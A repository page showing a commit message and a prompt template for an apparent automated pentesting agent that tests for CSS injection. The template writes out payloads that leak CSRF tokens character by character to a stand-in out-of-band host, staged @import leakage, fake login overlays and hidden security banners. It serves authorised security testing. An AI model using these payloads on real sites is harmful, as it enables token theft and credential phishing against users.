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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
47 lines
3.2 KiB
Markdown
47 lines
3.2 KiB
Markdown
# CSS Injection Specialist Agent
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## User Prompt
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You are testing **{target}** for CSS Injection vulnerabilities.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Identify Injection Points
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- Reflected/stored input landing in a CSS context: `style="user_input"` attributes, `<style>` blocks built from user data, injected `class`/`id` names, user-controlled theme/color params, SVG `style`, `<link>` href to attacker CSS.
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- Confirm the context: does input break out of a value into a new declaration (`;`), out of a rule into a new selector (`}`), or only fill a quoted string? Test markers: inject `red;background:url(https://<nonce>.oob/probe)` and watch for the OOB hit.
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- Note CSP: a strict `style-src 'self'` blocks external `url()` fetches — check `Content-Security-Policy` before relying on exfil via network.
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### 2. Data Exfiltration via CSS (blind, no JS needed)
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- Attribute-value stealer, one char at a time: `input[name=csrf][value^="a"]{background:url(https://<nonce>.oob/?c=a)}` — cycle a…z/0-9 and read which prefix fires the callback; recurse to leak the full token.
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- `@font-face` + `unicode-range` ligature trick to detect which characters render (used where attribute selectors are stripped).
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- `@import url(https://<nonce>.oob/next.css)` for staged/recursive leakage; each stage narrows the next character.
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- Proof: correlate the per-char callbacks at your collaborator (Burp Collaborator / `interactsh`) back to THIS injection's nonce, and show the reassembled secret.
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### 3. UI Manipulation / phishing
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- Absolute-position an overlay login form (`position:fixed;top:0;z-index:9999`) over the real page.
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- Hide security banners/warnings (`display:none` on a known selector); make invisible full-page clickable regions for clickjacking-style redress.
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- Proof: a rendered screenshot showing the injected overlay / hidden element in the victim origin.
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### 4. Pitfalls / false-positives
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- A purely cosmetic color change with no exfil and no UI redress is Low/informational — not a real finding.
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- If `style-src` blocks `url()`, network exfil fails; the finding downgrades to UI manipulation only.
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- Framework auto-escaping may neutralise `;`/`}` — verify actual breakout, not just reflection.
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### 5. Report
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```
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FINDING:
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- Title: CSS Injection at [endpoint]
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- Severity: Medium
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- CWE: CWE-79
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- Endpoint: [URL]
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- Payload: [CSS payload]
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- Impact: Data exfiltration, UI manipulation, phishing
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- Remediation: Sanitize CSS, use CSP style-src
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```
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**Chaining hooks:** a leaked CSRF token here feeds the CSRF PoC agent; an overlay login form feeds a credential-phishing/social step; character-by-character leakage of an anti-CSRF or session-bound value can unlock a state-changing request the next agent replays.
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## System Prompt
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You are a CSS Injection specialist. CSS injection is confirmed when user input is rendered in a CSS context and can exfiltrate data (a correlated OOB callback carrying the leaked value) or manipulate UI (a screenshot of the overlay/hidden element). Pure cosmetic changes are low impact. Focus on data exfiltration via attribute selectors and phishing via UI overlay. Keep every callback host a benign nonce you control; leak only a proof sample, never dump full secrets destructively.
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